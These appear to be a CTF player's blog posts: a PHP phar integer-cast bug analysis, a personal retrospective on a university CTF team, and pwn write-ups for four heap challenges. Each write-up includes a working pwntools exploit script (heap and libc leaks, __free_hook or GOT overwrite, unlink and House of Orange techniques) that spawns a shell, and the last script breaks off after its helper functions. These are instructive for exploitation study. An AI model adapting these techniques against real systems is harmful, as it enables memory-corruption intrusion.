So, we could argue that this code path would be triggered on any server running PHP on OSX(which uses HFSPlus). But I was too adamant to leave it like that.

I noticed that you don’t necessarily need to open a file to trigger this code path. You could specify a file which does not exist and this code path would be triggered before it tries to create such a file. You just need to set a variable readonly to false in the php.ini file.

Alright, so, the next thing was to create an object of the Phar class with a really long file name and the integer 1 as the second argument ( the integer 1 tells PHP that such a file should be created and might not necessarily exist).

And here we have obstacle number 2 => memory limitations.

Trying to create a string of size 0x80000000 gave me another error. So I started looking up documentation of PHP regarding string limits. And, as of PHP 7.0, there are no limits to the size of variables in 64 bit PHP. The largest variable you can create in 32 bit PHP is 2^31 – 1.  This is because, PHP 5.0 stored the sizes of variables in an integer data type which meant that the largest possible size of a variable is INT_MAX – 1 ( 0x7fffffff).

But I was running 64 bit PHP 7.0 and it was throwing an error about memory limits. And I found out that there is a hard limit to the maximum amount of memory that PHP can use which is defined in the php.ini file. If you set that to -1, PHP will use as much memory as the operating system will allow.

So, with this information, I went on to modify the php.ini file and then tried creating a Phar object with the same arguments. No errors this time, but the vulnerable code path wasn’t getting triggered.

Obstacle number 3 => size validation.

Looking through the code of the constructor, we see that there is a macro which checks if the size of the string is INT_MAX. If so, it simply returns to the caller. Another dead end.

But remember that we had another route to this vulnerable function via the phar_split_fname function. Following that function’s caller, we see that it get’s called from what I believe is the constructor of the PharFileInfo class. This was the only place where the macro wasn’t used to validate the length of the string.

So, my focus shifted on to this path.

I tried writing a script which created an object of PharFileInfo with a file name of size 2^31 and the integer 1 as second argument.

But here again, there was something going wrong.

So I started stepping through every instruction using GDB and I reached this point in phar_split_fname where it calls a macro CHECK_NULL_PATH.

#define CHECK_NULL_PATH(p, l) (strlen(p) != (size_t)(l))

Doesn’t look like anything that could throw off our exploit. strlen(p) should return INT_MAX and the value of l is INT_MAX. So this comparison should return false without a doubt.

But, the issue arises when we look at this a bit more closely.

In a 64 bit Ubuntu, an int is 32 bits long and size_t is 64 bits long. If you look at the types.h header file for the definition of size_t, you would see the following

typedef long unsigned int size_t;

So, when you type cast an int to size_t, it get’s extended to 64 bits. And since, int is a signed data type, the extension would a signed extension.

Which basically means that our 0x80000000 would be converted into 0xffffffff80000000.

There’s no way we can generate a string that long with the current architecture ( unless I had a super-computer just lying around).

Now, here is where things get conceptually tricky. The vulnerability exists in phar_check_str, but it can never really be triggered. So, is it really a bug ?

It is not that the PharFileInfo constructor employs adequate verification to make sure that this vulnerability is not triggered. The vulnerability is not triggered just because of an unintended consequence of a comparison. So, that means that it could be triggered in a situation where type casting int to size_t does not sign extend it.

In 32 bit systems, size_t and int are both 32 bit data types, but the maximum memory that 32 bit PHP can use is 2^31. So, maybe, somewhere in the future, if PHP decides to use unsigned int for recording the size of variables, it would be possible to create a string of size 2^31. And in that situation, this type casting int to size_t wouldn’t change a thing.

So, this unintended consequence of the CHECK_NULL_PATH macro might be why no fuzzer has discovered this vulnerability before ( because you can never really trigger it). But, when you look at it from an academic point of view, this is a bug which could be triggered (and possibly lead to arbitrary code execution) if the PHP org’s decided, on one fine day, that variable sizes would be stored in unsigned integer data types from now on.

I reported this bug to the PHP dev’s and they’ve fixed it. But, they don’t seem to recognise this as having security implications.

This discovery prompts us to think about the effectiveness of fuzzers. You could fuzz this same code for years and you wouldn’t get a positive report about this bug. But if someone were to slightly tweak the PHP internals, this bug would surface.

Maybe there are more of such bugs lying around in the vast code base of different projects. An automated approach to find such bugs would be a pretty interesting topic.

So, I guess I’ll just have to wait a bit longer for my first 0-day.

Retrospect

Finally finished with my Bachelors and I find myself looking back and thinking of all that could’ve gone differently which would’ve lead to a situation where I wouldn’t probably be writing this. Now, this post might be bit long and quite boring, but I’ll try my best to make it interesting.

I was interested in computer science ever since I first started learning it as a discipline in my 11th year of school. However, to go from someone who can write a CPP code that can successfully implement a bubble sort algorithm to someone who can compete on an international stage with some of the best teams in the world in online cyber-security competitions certainly requires more than just the interest of a teenager.

Like every other 12th grader, I too wanted to get into one of the IIT’s ( Indian Institute of Technology). My backup plan was to try to get into one of the NIT’s ( National Institute of Technology). I even had a Plan C to try to get into one of the GEC’s ( Government Engineering College). Looking back now, I don’t think I had a clue what I was supposed to do if either of these succeeded. I was good at solving questions that we were asked to practice for the Entrance Examination. But not good enough for either of plan A or B or C to pan out.

My primary objective was to make sure that I didn’t spend too much of my parent’s money. Of course, getting a job with a notable paycheck was on my checklist, but it was not perhaps the most important one. Long story short, I was at a point where I had to decide between one of the GEC’s and a private institute. I had secured a seat in the private institute, but the fees was 1.5 lakh a year compared to the 8000 in GEC. The catch was that my seat in GEC wasn’t confirmed. So, my parents decided to take the road very well traveled and send me to the private institute. I was gonna ask my parents to buy me a gaming laptop (had already one in mind) with the money I would save if I got into GEC and hence was against the prospect.

My dad eventually convinced me that he would buy me the laptop either way. And so, I ended up joining Amrita University’s Bachelors Programme in Computer Science and Engineering.

And that has made all the difference
– Robert Frost

Freshman year in Indian colleges are quite the turning point. I was introduced to a multitude of clubs. Each was attractive in its own way. There were clubs that did a lot of socially positive activities like a Clean-Up drive, Marathons for Car-Free Day. There was a Movie club, Literature club and what not. We were also introduced to these three seniors who had attended the final round of ACM ICPC. And then there was this one club that used to write code for Free and Open Source Software. Deciding which to choose was a pretty tough decision. I even considered joining the radio club.

Finally, I decided to join the FOSS club because I had missed tryouts for joining the Competitive Programming club. I was bored to death in the first couple of weeks. We stayed back from 4:30 PM until 7:30 PM. Most of the time, we were working on finishing a couple of courses on codecademy which were pretty boring. And so, I left the FOSS club and joined the basketball team.

I spent one semester as part of the college basketball team. We attended the Inter-Amrita Basketball Tournament, Kollam District Basketball Tournament. But then, close to the end of the first semester, I noticed that the couple of guys who went to the FOSS club were talking stuff that I couldn’t manage to understand at all. I consider myself a geek and therefore this was unacceptable to me. I guess that ego is what compelled me to get back into the FOSS club.

And so, I’m back in the FOSS club trying to finish those codecademy courses. These courses were a part of a list of tasks that we freshmen had to complete. Almost all of the tasks were boring. The only exception was a game called Bandit from overthewire.org.

It could’ve been the newfound fascination of using the terminal which kept me going, but I managed to finish around 13 levels in a month’s time. And it could’ve been the fact that I was more interested in playing Bandit than learning HTML and creating a webpage that prompted the faculty in charge to talk to me personally. In a lab with 30-40 freshmen, what are the chances that the single faculty who looks after the whole club talks to me ?

The interest I had shown in playing this game prompted the faculty (Vipin Pavithran) to ask me to try out something called PicoCTF. A CTF (Capture The Flag) competition is one in which participants are supposed to find out vulnerabilities in a service that is created by the organisers. Exploiting these vulnerabilities would then give you a string (flag) which you can submit in the CTF website to get points. PicoCTF is one such CTF which is primarily aimed at high school students in the US. I would come to know later that PicoCTF is conducted by one of the world’s best CTF team.

Solving the challenges from PicoCTF were interesting and I was quite fast at solving the first few. I do remember Vipin sir explaining how to solve the first question. He turned around to speak to someone for around a minute or two. And by the time he’d finished, I had solved 6 challenges.

And thus, I joined Team bi0s, the CTF Team from Amrita University, Amritapuri.

Vipin sir was the person who had founded the team bi0s (in 2007) as well as the FOSS club. He had also mentored the team of students from Amrita that had gone for the world finals of ACM ICPC. Most of my achievements can be directly attributed to him.

It actually took me around 6 months to finally solve a CTF challenge during the CTF itself (MMA CTF 2015 : RPS, 50 point Pwnable). The prospect of being called a “hacker” was probably the reason for my interest in sticking with bi0s for the first couple of months at least. Later on, I found out that there was so much more to the field of cyber-security than what is perceived by the majority. This field quickly captured my interest and was a lot bigger than the fantasy of being called a “hacker” by others.

Bi0s was India’s best CTF team in 2011 and 2012. It started to deteriorate in 2013 up until 2015.

2016 was perhaps the year that changed it all. We played almost every CTF that was up on CTFTime. The 2014 team bi0s, consisting of a total of 3 people, had grown to around 10. At the end of 2016, bi0s was the number 1 team from India that competed in CTF’s as per CTFTime.

We struggled hard for it. Every day we would stay back in the lab until 10:00 PM after classes. If it was a holiday, we’d stay in the lab from 9:00 AM to 8:00 PM. During CTF’s we’d bunk the classes and stay in the lab playing the competition. Sometimes, we’d end up spending the entire night in the lab. Our wardens were kind enough to let us do so. We had camps in the vacations where the seniors would take classes for us. I learned more in those few classes than I would in all 4 years of my undergraduate studies put together. And as a result of all these efforts, we finally managed to get back our spot in the scoreboard.

Our efforts didn’t go unnoticed by the University. In my 6th semester, we were provided with this glorious manifestation called ‘Attendance Exemption’. We could now, bunk classes and prepare for CTF’s instead. The attendance cutoff of 75%, for us was reduced to 25%. And now, bi0s members in the second year also get that same privilege. In addition to that, we were awarded grace marks from the department for performing well in these competitions.

Our chancellor, Mata Amritanandamayi is a pretty interesting character. I had already known about her as a religious leader from my parents. I had a great amount of respect for her considering all the humanitarian activities that she had conducted. The whole team would often go see her to inform about our achievements and the issues that we face. Sometimes she would have solutions, sometimes she would just nod. But some times, she would come up with some really good ideas. She was the one who introduced the idea of grace marks and attendance exemption. She also told Vipin sir to start teaching cyber security concepts to school children as well. And thus was born InCTF Junior.

And now, its the end of 2017 and we’ve maintained our first position in India and improved our international rank. We conducted the 6th edition of InCTF which is also the first time that InCTF went international. Of course there were issues during the CTF, unintended vulnerabilities, wrong files. But it went better than we feared.

We currently boast of having around 15 undergrad students who play as part of bi0s. Around 3 others who are working, that occasionally, show up for some of the important CTF’s. And then a crowd of 40 freshmen who are very enthusiastic about joining bi0s.

Coming to the end of my post, the reader might be curious as to the status of my career. Did I get into an MNC ? Did I get a package more than 10 lakhs per annum ? Nah.

Joining bi0s had the added advantage of giving me a clear picture of the sort of life I’d have if I chose a job in some MNC and the life I’d have if I chose a career in research. And I guess I’m better suited for research rather than industry.

What would’ve happened if I had scored a little better in the entrance examinations ? What would’ve happened if I had joined GEC ? What would’ve happened if I had stuck with the basketball team ?

I’ll never know. I might have become just another face in the crowd of Bangalore’s IT sector.

But there’s one thing that I do know. Not many other universities in India are going to give you an entire lab with free WiFi and Bio-metric access. Not many other universities in India are going to give students an exemption from the 75% attendance rule just because they play some online game. Not many other universities will give you extra grace marks because you’ve done well in these competitions.

Sure the fees is higher than other government funded universities, but what if I told you that you can get a 90% scholarship on your fees based on your merit in the Amrita Entrance examinations ?

Getting through 10th and 12th grades in India, followed by the entrance examination is perhaps an unavoidable rat race. What you do in an engineering college, apart from the regular curriculum, is perhaps what determines whether or not you get out of the race before its too late.

So instead of prioritizing your list of colleges to join based on their prestige, I’d suggest you prioritize based on the extra curricular activities available. If there are none, start one. I’m sure you’ll find like minded people.

I’m speaking about the Computer Science and Engineering course when I say that, most of the core companies only use your CGPA as a preliminary requirement. The real test is whether or not you have the skills that they’re looking for. So, even if your CGPA barely made the cut, or if you have a perfect 10, they’re only interested in the skills that you have. And you don’t develop those skills by studying a day before the exam.

If I have seen further than others, it is by standing upon the shoulders of giants.
– Isaac Newton

All my notable achievements were made possible because I had the luck to join Amrita University and more importantly, bi0s.

As I reach the conclusion of this post, I’m preparing to leave for my six month internship at University of Southern California. Its a new beginning. Perhaps a catalyst for more. But I’ll never forget how I reached here. It wasn’t my 10th marks, it wasn’t my 12th marks, it wasn’t my entrance exam rank, it wasn’t my CGPA. It was simply because I had chosen to pursue my interest with fervor rather than chill out in the hostel playing computer games.

It was never an easy task. There were times when I was frustrated that my efforts weren’t yielding any fruits, when I was tempted to quit and go have fun with the rest of my classmates, when I was depressed about skipping out on trips that everyone went except me because I had a CTF. But looking back now, maybe it all worked out for the best. I would be lying if I said that I had no regrets. I guess it doesn’t matter what we choose, we’ll have regrets either way.

And, with the end of my Bachelors course, I’m about to embark on a new journey. To make more such decisions, and even more regrets.

The end.

Hack.lu 2017 HeapHeaven Write up

I was busy with some other stuff and didn’t get a chance to try out this challenge. One of my team-mates was trying it out, but he couldn’t finish the exploit in time.

So, I tried the challenge after the CTF and here’s the write up.

Here’s the protections enabled on the binary

CANARY : ENABLED
FORTIFY : disabled
NX : ENABLED
PIE : ENABLED
RELRO : FULL

This is again a menu driven program that allocates chunks on the heap with functionalities like add, remove, edit and view.

The program starts off by allocating a chunk of size 10 on the heap whose address is stored in a global variable.

The peculiarity of this binary is that it uses a parse_num function to get integer values from the user. The parse_num function parses a 256 length string and returns a 64 bit value.

It does this by using a counter to count the number of some characters are present in the string. If the character ‘w’ is present in an even offset, then the value of counter is doubled. And if the character ‘i’ is present at an odd offset, right after ‘w’, then the counter is incremented by 1. Using a combination of ‘w’ and ‘i’, we can control the return value of parse_num.

Now, the other peculiarity of this binary is that, it reads in input by asking an offset from the user. The input is being read in by a function that is similar to a gets function. The offset is taken from the first chunk that was allocated and stored in the global variable.

Similarly, the view functionality prints out a string at an offset specified by the user and the remove functionality free’s a chunk at an offset which is user specified.

Since parse_num returns a 64 bit value, we can access any address in the process’s memory space provided we have some memory leaks first.

Getting memory leaks in this case shouldn’t be an issue.

Once we have a memory leak of the heap and the libc, we can calculate the offset to __free_hook and edit its value to system.

Once that is done, all that’s left is to free a chunk which contains ‘/bin/sh’ which will lead to system being invoked with the same.

Here’s the script.

from pwn import *

prompt = 'NOM-NOM\n'
a, v, e, r = 'whaa!', 'mommy?', '<spill>', 'NOM-NOM'


def get_string(size):
    payload = ''
    val = size
    while val > 0:
        if val % 2 == 0 and val/2 > 0:
            payload += 'aw'
        elif val % 2 == 1 and val/2 > 0:
            payload += 'iw'
        val = val/2
    payload += 'iw'
    retval = payload[::-1]
    if retval[-1] == 'a' and retval[-2] == 'w':
        retval = retval[:-1]
    return retval


def allocate(size):
    p.sendlineafter(prompt, a)
    p.sendlineafter('darling...\n', get_string(size))


def view(offset):
    p.sendlineafter(prompt, v)
    p.sendline(get_string(offset))
    p.recvuntil('darling: ')
    return p.recvline().strip('\n')


def edit(offset, payload):
    p.sendlineafter(prompt, e)
    p.sendlineafter('?\n', get_string(offset))
    p.sendlineafter('!\n', payload)


def remove(offset):
    p.sendlineafter(prompt, r)
    p.sendline(get_string(offset))


if __name__ == '__main__':
    p = process('./HeapHeaven', env={'LD_PRELOAD': './libc.so.6'})
    libc = ELF('./libc.so.6')
    allocate(10)
    allocate(0x80)
    allocate(10)
    remove(0x20)
    remove(0x40)
    remove(0xd0)
    heap = u64(view(0xd0).ljust(8, '\x00')) - 0x10
    log.success('Leaked heap @ {}'.format(hex(heap)))
    libc.address = u64(view(0x40).ljust(8, '\x00')) - 0x3c4b78
    log.success('Leaked libc @ {}'.format(hex(libc.address)))
    offset = libc.symbols['__free_hook'] - heap
    log.progress('Offset => {}'.format(hex(offset)))
    allocate(10)
    edit(0xd0, '/bin/sh\x00')
    edit(offset, p64(libc.symbols['system']))
    remove(0xd0)
    p.recvline()
    p.interactive()

TWCTF 2017 simple note writeup

During the CTF, simple_note and simple_note_v2 were released. I’ll be explaining the first one here.

Initial analysis reveals that PIE and FORTIFY are disabled and everything else is enabled.

The binary is a menu driven program that allows us to add, view, edit and remove notes. Each note is a buffer that is allocated on the heap of user determined size. The only constraint of the size is that it must be greater than 127 bytes.

The indexes are properly checked to prevent out of bounds access.

The input isn’t null terminated, so we can leak out data from the heap. Using this, we can leak out the address of the main arena and the heap.

The vulnerability in this binary is a buffer overflow in the edit functionality.

The code is something like this

len = strlen(list[idx]);
read_string(list[idx], len);

The prev_size field of a chunk is only used if the previous chunk is free. Otherwise, it can be used for other purposes such as storing some sort of data. This is a feature of malloc which makes sure that the amount of memory that goes unused is minimal. So in such a situation, the user input will end just before the size field of the successor chunk.

1

We can force such a situation to occur by requesting 0x88 bytes. The size of the chunk returned will be 0x91. Subtracting 16 bytes for the metadata, we’re left with 0x80 bytes where we had requested 0x88 bytes. The remaining 8 bytes will be the prev_size field of the chunk that lies next to this one.

So, when we use the edit functionality, strlen will add the length of the size of the next chunk along with the length of user input. And we can edit the size field of the next chunk.

Cool. So what now ?

My first thought was to try the House of Einherjar and get a chunk allocated in the BSS section. But the binary was not storing input anywhere other than the heap. So that was out of the question.

However, using the House of Einherjar, we would be able to get a chunk that overlaps other chunks. (This is one method to do this. You can achieve the same by tweaking the size field of a chunk and freeing it)

My next idea was to use this overlap to corrupt the fd and bk pointers of a free chunk to perform a House of Orange attack. But for that to work, the final request to malloc should be of size lesser than 0x80 which is not allowed by the binary. So that is another dead end.

And that is where I got stuck during the CTF. After the CTF, I read some writeups and got the idea behind the exploit.

We can modify the fd and bk pointers of a free chunk to point to the table of notes in the bss.

The only requirement is that the sanity check that was introduced to prevent the unlink corruption.

FD = P->fd;
BK = P->bk;
if (__builtin_expect (FD->bk != P || BK->fd != P, 0))
malloc_printerr (check_action, “corrupted double-linked list”, P, AV);

So, FD+0x10 should contain a pointer to P and BK+0x18 should also contain a pointer to P.

The table only contains pointers to chunks that are in use. So, that means, we’d have to trick malloc into thinking that an in use chunk is free.

Here, we use the overflow for a second time.

We edit the size field of an in use chunk and unset the PREV_INUSE bit. Now since the previous chunk is indicated as free, the prev_size field has to be properly set.

We can set it to a value such that P-prev_size is user controllable and such that the table contains a pointer to P-prev_size.

We can set the prev_size field such that P-prev_size points to the data section of the overlapping chunk.

And in the data section, we create a fake chunk with fake prev_size, size, fd and bk values.

Assume the table contains the pointer to this chunk at an address x.

The fd of this fake chunk should be x-0x10 and bk should be x-0x18.

Now, freeing the small chunk would cause backward coalescing which in turn invokes the unlink macro which performs our overwrite.

Once that is done, one of the entries in the table should be a pointer to an address in the table.

We can use the edit functionality to modify the entry to point it to the GOT table.

And use the edit functionality on this edited entry to overwrite a GOT entry with the address of system.

You might have to try this out to understand the working.

Here’s the script anyways

from pwn import *

prompt = "Your choice: "
add, delete, show, edit = "1", '2', '3', '4'
table = 0x6020C0

def add_note(size, payload):
    p.sendlineafter(prompt, add)
    p.sendlineafter("size: ", str(size))
    if len(payload) < size:
        payload += "\n"
    p.sendafter("note: ", payload)

def delete_note(idx):
    p.sendlineafter(prompt, delete)
    p.sendlineafter("index: ", str(idx))

def show_note(idx):
    p.sendlineafter(prompt, show)
    p.sendlineafter("index: ", str(idx))
    p.recvuntil("Note: \n")
    p.recvline()
    note = p.recvline().strip()
    return ("\x00"+note).ljust(8, '\x00')

def edit_note(idx, payload):
    p.sendlineafter(prompt, edit)
    p.sendlineafter("index: ", str(idx))
    if len(payload) < size:
        payload += "\n"
    p.sendafter("note: ", payload)

if __name__ == "__main__":
    if sys.argv[1] == "local":
        p = process("./simple_note", env={"LD_PRELOAD": "./libc.so.6"})
    else:
        p = remote("pwn1.chal.ctf.westerns.tokyo", 16317)
    libc = ELF("./libc.so.6")
    e = ELF("./simple_note")
    #
    # First, let's start with the leaking
    #
    add_note(0x88, 'A'*0x80)
    add_note(0x88, 'A'*0x88)
    delete_note(0)
    add_note(0x88, 'A'*8)
    libc.address = u64(show_note(0)) - 0x3c4b00
    log.success("Leaked libc @ {}".format(hex(libc.address)))
    #
    # Now let's create a few chunks
    #
    for x in xrange(4):
        add_note(0x88, 'A'*0x88)
    #
    # Use the single byte overflow to corrupt size field
    #
    edit_note(1, 'A'*0x88+'\xf1')
    #
    # Make sure that there is a valid chunk at the end of this corrupt chunk
    #
    payload = fit({0x50: p64(0)+p64(0x21),
                   0x70: p64(0)+p64(0x21)})
    edit_note(3, payload)
    #
    # Free the corrupted chunk
    #
    delete_note(2)
    #
    # Now we get that chunk allocated back to us
    # There is a pointer to the data section of this chunk in the table
    # We can set up a fake chunk in the data section.
    # And use the pointer in the table as a fake fd and bk pointer
    # So table+0x18 will be overwritten with table
    #
    payload = fit({0x90: p64(0)+p64(0x111)+p64(table)+p64(table+8)})
    add_note(0xe8, payload)
    #
    # Unset the prev_inuse to force coalescing
    # Which will lead to unlinking
    #
    payload = fit({0x80: p64(0x110)+'\x90'})
    edit_note(4, payload)
    #
    # Now trigger the unlink by freeing the chunk
    #
    delete_note(5)
    #
    # Now table+0x18 has been overwritten with the base address of the table
    # We can now edit the first pointer in the table
    #
    edit_note(3, p64(e.got['free'])[:4])
    #
    # Now editing the contents of the first table entry
    # Allows us to overwrite the GOT table
    #
    edit_note(0, p64(libc.symbols['system'])[:6])
    #
    # Just create one more chunk to be free'd immediately
    #
    add_note(0x80, '/bin/sh\x00')
    #
    # Trigger system by calling free
    #
    delete_note(5)
    p.interactive()

Hitcon 2016 House of Orange Writeup

I didn’t get a chance to play the CTF and managed to solve the challenge only very recently. I did have to read the write up first to understand the idea behind the exploit.

The idea behind the exploit is really cool and I wanted to share that.

So here it goes.

As always, check the protections enabled on the binary first.

$ checksec houseoforange
CANARY : ENABLED
FORTIFY : ENABLED
NX : ENABLED
PIE : ENABLED
RELRO : FULL

Well, nothing much to say here.

Moving on the the functioning of the binary, it has got three primary functions. Namely, build, upgrade and see.

Each house is an object of size 0x10 and looks like this

struct house {
char *ptr
char *name;
}

While building a house, the values of price and color are taken from user input. These are stored in a chunk of size 8 ie the ptr attribute. Then a chunk of user given size is malloced and data is read into it. This is the name attribute of the object. The size of the name can be a maximum of 0x1000.

A global variable keeps count of the houses created. We can create a maximum of 4 houses.

A global pointer is used to point to the last house created.

In the upgrade function, we are allowed to edit the price, color and name of the last created house.

In this function, we have a buffer overflow while editing the name of the house.

A global variable is used to keep count of the number of times a house has been edited. This variable is initialized to 0 every time a new house is created.

The see functionality allows us to view the contents of the house object pointed to by the global pointer.

Now on to the exploit method.

Since we do not have a call to free anywhere, we can’t perform any of the usual methods of heap exploitation such as fastbin corruption, House of Einherjar etc.

Also, since there is an upper bound on the size that gets passed to malloc, we cannot use the House of Force in this situation.

So, let’s get started with the idea of the House of Orange.

In a situation where the size of the top chunk is smaller than the requested size, the top chunk gets extended through a call to a function called sysmalloc. Once the top chunk is extended, sysmalloc calls _int_free to free the remaining part of the old top.

So, our idea is to first make the call to _int_free happen.

For that, we need to make sure that the size of the top chunk is smaller than 0x1000.

We can use the overflow in the upgrade functionality to do that.

There are a few conditions that need to be met first.

  1. The size of the top chunk should be larger than 0x10 and smaller than 0x1000.
  2. The prev_inuse bit of the top chunk should be set.
  3. top + top_size should be page aligned.

The top chunk is usually allocated with 0x21000 bytes.

If the size of the top chunk at a point is 0x20f01, we can overwrite that with 0xf01 which satisfies all the requirements.

After we corrupt the top chunk, we need a call to malloc to trigger the call to sysmalloc and eventually the call to _int_free.

Once that’s done, the old top chunk will be added to the free list and the pointer which we get from malloc will be in a new page.

The next allocation, if of appropriate size, will be placed in this chunk that is present in the free list.

Since the chunk in the free list contains pointers to the main arena, we can leak them out using the see functionality to get a libc leak.

And we have a pointer to the heap right after the fd and bk pointers which we can leak out after filling the first 16 bytes using the upgrade and see functionalities.

So, next comes the interesting part.

When malloc detects an error in the linked lists, like a corrupted fd and bk pointers, it aborts and calls a function _IO_flush_all_lockp.

This function is used to close all the file pointers such as stdout, stderr etc.

It does the same by using a global pointer called _IO_list_all that contains the pointer to the stdout file pointer.

The file pointer structures contain a pointer to the next file pointer. The function uses this to iteratively close all the file pointers used.

Now, these file pointers have jump tables that are used if some pre-conditions are met.

So, the idea is to overwrite the _IO_list_all pointer and point it to a location we control.

It’s not really possible with the scenario we have to do the same.

However, we can make sure that one of the file pointers used while iterating will be a memory area that we control.

The idea is to overwrite the _IO_list_all with a pointer to the main_arena.

By correctly setting the size of the chunk in the free list, we can make sure that the next file pointer accessed will be the chunk in the free list.

So, in order to overwrite the _IO_list_all with a pointer to the main_arena, we use the unlink vulnerability.

When a chunk in the free list is to be splitted off to service a malloc request, the code that gets executed is as follows

unsorted_chunks (av)->bk = bck;
bck->fd = unsorted_chunks (av);

So, the fd pointer of previous chunk get’s overwritten with an address in the main_arena.

If we set the previous chunk to be _IO_list_all – 0x10, then bck->fd will be the _IO_list_all pointer.

So let’s just do a quick recap.

  • Corrupt top chunk to make it of smaller size.
  • Call malloc with a large value of size to force the call to _int_free
  • Corrupt bck pointer of free chunk to point to _IO_list_all – 0x10.
  • Set size of chunk such that the second file pointer accessed is under users control. (0x61 is one such value)

Okay, once all that is done, the function _IO_flush_all_lockp performs some checks on the file pointer which need to be passed in order to get a shell. You can look up the source code if you’re interested in what they mean. I’ll just list the conditions here.

Suppose the file pointer starts at base_address.

  1. base_address+0xc0 == 1
  2. base_address+0xa0 should contain a pointer that contains two variables such that the first is smaller than the second. These variable should be at an offset of 0x18 and 0x20 from the pointer.
  3. base_address+0xd8 shoule contain the jump table.
  4. jump_table+0x18 should contain the address of the function that we want to be executed.

If we’ve set the value at jump_table+0x18 to be the address of system, then it will be called with the address of the file pointer as argument.

The first 8 bytes of the chunk is the prev_size which we can set to “/bin/sh”.

So, all that’s left is to trigger the whole exploit by calling malloc once more.

And, once that’s done, we have a shell.

Awesome challenge, awesome idea. Here’s my script anyways.

from pwn import *

magic = 0xDDAA
system = 0x45380
io_list_all = 0x3c4520
prompt = "Your choice : "
build, see, upgrade = "1", "2", "3"


def build_house(size, name, price, color):
    p.sendlineafter(prompt, build)
    p.sendlineafter("Length of name :", str(size))
    if len(name) < size:
        name += "\n"
    p.sendafter("Name :", name)
    p.sendlineafter("Price of Orange:", str(price))
    p.sendlineafter("Color of Orange:", str(color))


def see_house():
    p.sendlineafter(prompt, see)
    p.recvuntil("Name of house : ")
    p.recvline()
    return p.recvline().strip()


def upgrade_house(size, name, price, color):
    p.sendlineafter(prompt, upgrade)
    p.sendlineafter("Length of name :", str(size))
    p.sendafter("Name:", name)
    p.sendlineafter("Price of Orange: ", str(price))
    p.sendlineafter("Color of Orange: ", str(color))


if __name__ == "__main__":
    p = process("./houseoforange", env={"LD_PRELOAD": "./libc.so.6"})
    build_house(0x80, 'asdf', 5, 1)
    #
    # Here we corrupt the top chunk
    #
    payload = fit({0xa0: p64(0)+p64(0xf31)})
    upgrade_house(0xb1, payload, 5, 1)
    #
    # This will trigger call to int_free()
    #
    build_house(0x1000, 'dummy', 5, 1)
    build_house(0x400, 'a'*7, 199, 1)
    libc = u64(see_house().ljust(8, "\x00")) - 0x3c4188
    log.success("Leaked libc @ {}".format(hex(libc)))
    system += libc
    io_list_all += libc
    upgrade_house(16, 'a'*15+"\n", 5, 1)
    heap = u64(see_house().ljust(8, "\x00")) - 0x130
    log.success("Leaked heap @ {}".format(hex(heap)))
    payload = fit({0x410: p32(magic)+p32(31),
                   0x420: "/bin/sh\x00",
                   0x428: p64(0x61)+p64(0xdeadbeef)+p64(io_list_all-0x10),
                   0x4c0: p64(heap+0x560),
                   0x4e0: p64(1)+p64(0)*2,
                   0x4f8: p64(heap+0x658),
                   0x500: p64(1)+p64(2)+p64(3)+p64(0)*3,
                   0x530: p64(system)})
    upgrade_house(0x800, payload, 123, 1)
    p.sendlineafter(prompt, build)
    p.interactive()

For education purposes, I’ve put up a PoC as well. You can find it here house_of_orange

Cheers!

SECUINSIDE CTF 2017 babyheap Write up

This challenge was a pretty good one considering the idea behind the whole exploit. Hence the reason I decided to put up a detailed write up on it.

Starting with the mitigations enabled on the binary

$ checksec babyheap

Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
FORTIFY: Enabled

There are mainly two structures that are used by the program. One is a team and the other is an employee. Every team object is placed in a table that lies in the bss segment of the binary.

The team object contains a pointer to a buffer allocated on the heap, a pointer to a table of employee objects ( the table is again on the heap ) and the count of employees in the table.

Creating a team object allocates 0x18 bytes for the object itself, and arbitrary number of bytes for the description. User input is then read into the description. The counter and the table pointer are set to NULL.

There are functionalities to print out the details of each team and remove teams and a manage team functionality as well.

In the remove functionality, only the pointer to the object is freed. The description and the contents of the table along with the table remain in use (from malloc’s point of view). There are no UAF vulnerabilities here since the pointer to the object gets nulled out right after freeing it.

The manage functionality allows us to manage the employee objects ( if any) in the team objects table. We can add employees, remove them, edit their contents and list out the contents.

Every employee object is of size 200. The first 100 bytes are reserved for description and the next 100 bytes are for the employee name.

Every time you add an employee, the table that is contained in the team object gets realloc’d with the arguments being the old table pointer and the new size.

Removing an employee object clears the entry in the table as well. However, removing an entry does not decrement the counter.

So, let’s start pwning this binary.

The first thing I looked for was a way to leak memory.

We can leak the heap and the libc but only the libc address will be required for this challenge.

Assuming we’ve created a team, we can add two members (the second one is to prevent coalescing with top chunk) with some random names. Since each of those objects are of size 0xC8, removing any one will insert the chunk into the free list. Now we can create another team with description size 0xC8 and the same chunk will be returned back to us.

And printing out the description of the new team will leak out a pointer from which we can calculate the base address of the libc.

So, since that’s done, we can move on to corrupting something.

There are no overflows that I could find, no apparent use-after-free’s. But if you look closely at the part of the code where the table gets realloc’d we see something that can be used.

1

R12 contains the pointer to the team object. So, program only considers the last byte of the count of employees.

So if the total count were 0xff and we add another employee, the value of r15b would be 0x0. And something I read about realloc from its man page is that a call to realloc with the second argument set to 0 implicitly calls free with the same first argument.

So there’s our UAF.

Allocating another team with description size 0x7f0 ( the size of the table when there were 255 entries) would return a pointer to the table.

I decided to overwrite the first entry in the table with a pointer to the __free_hook. So editing the first employee description would allow me to edit the __free_hook with whatever I wanted ( for example, the address of system).

Now removing any employee with description set to “/bin/sh” would lead to system being invoked with the same string as argument.

And well, that’s all there is to it. Here’s the script.

from pwn import *

prompt = ">"

def return_to_menu():
    p.sendlineafter(prompt, "5")


def add_member(num, names, desc, flag=False):
    p.sendlineafter(prompt, "1")
    p.sendlineafter("employment :", str(num))
    if flag is True:
        return
    for x in xrange(num):
        p.sendlineafter("Name :", names[x])
        p.sendlineafter("Description :", desc[x])


def remove_member(idx):
    p.sendlineafter(prompt, "2")
    p.sendlineafter("Index :", str(idx))


def edit_member(idx, payload):
    p.sendlineafter(prompt, "4")
    p.sendlineafter("Index :", str(idx))
    p.sendlineafter("Description :", payload)


def manage_team(idx):
    p.sendlineafter(prompt, "3")
    p.sendlineafter("Index :", str(idx))


def create_team(len, desc):
    p.sendlineafter(prompt, "1")
    p.sendlineafter("length :", str(len))
    p.sendafter("Description :", desc)


def remove_team(idx):
    p.sendlineafter(prompt, "2")
    p.sendlineafter("Index :", str(idx))


def list_teams(num):
    p.sendlineafter(prompt, "4")
    for x in xrange(num):
        p.recvuntil("Description : ")
    leak = u64(p.recv(6).ljust(8, "\x00"))
    return leak


